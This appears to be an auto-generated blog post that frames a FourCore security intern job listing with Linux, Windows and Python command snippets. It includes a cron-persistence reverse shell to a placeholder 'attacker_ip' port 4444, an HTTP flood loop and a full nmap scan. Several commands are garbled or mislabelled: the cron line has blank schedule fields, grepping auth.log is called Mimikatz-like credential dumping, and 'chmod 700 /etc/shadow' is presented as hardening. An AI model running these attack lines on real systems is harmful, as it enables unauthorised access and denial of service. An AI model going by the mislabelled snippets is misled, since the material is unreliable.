Security Engineer Intern At FourCore: Dive Into Cybersecurity

FourCore is hiring a Security Engineer Intern to work on cutting-edge cybersecurity projects, focusing on threat emulation, attack simulation, and defensive tool development. This role offers hands-on experience in offensive security, scripting, and real-world attack analysis.

You Should Know:

1. Automated Threat Emulation with Python

Use Python to simulate attacks and automate security testing:

import requests 
import subprocess

Simulate a basic HTTP flood attack (for educational purposes) 
target_url = "http://example.com" 
for _ in range(100): 
requests.get(target_url)

Execute nmap scan via Python 
subprocess.run(["nmap", "-sV", "-p-", "target_ip"])

2. MITRE ATT&CK Simulation with Linux Commands

Practice real-world attack techniques:

 Credential Dumping (Mimikatz-like behavior) 
strings /var/log/auth.log | grep "password"

Network Reconnaissance 
sudo tcpdump -i eth0 -w capture.pcap 
wireshark capture.pcap &

Persistence via Cron Jobs 
echo "     /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" >> /tmp/cron_job 
crontab /tmp/cron_job

3. Windows Security Commands

Check system vulnerabilities and logs:

 Check open ports 
netstat -ano

Dump Windows event logs 
wevtutil qe Security /f:text

Check for suspicious processes 
Get-Process | Where-Object { $_.CPU -gt 90 }

4. Defensive Measures

Linux:

Monitor SSH brute-force attempts 
sudo grep "Failed password" /var/log/auth.log

Harden file permissions 
chmod 700 /etc/shadow

Windows:

Enable Windows Defender 
Set-MpPreference -DisableRealtimeMonitoring $false

What Undercode Say

Cybersecurity internships like FourCore’s provide invaluable exposure to threat emulation, scripting, and defensive tactics. Practicing with tools like nmap, Wireshark, and Mimikatz builds foundational skills. Always:
– Log Analysis: `journalctl -u sshd` (Linux) or `Get-WinEvent` (Windows).
– Network Security: Use `iptables` (Linux) or `netsh advfirewall` (Windows).
– Automation: Python/Bash for repetitive tasks.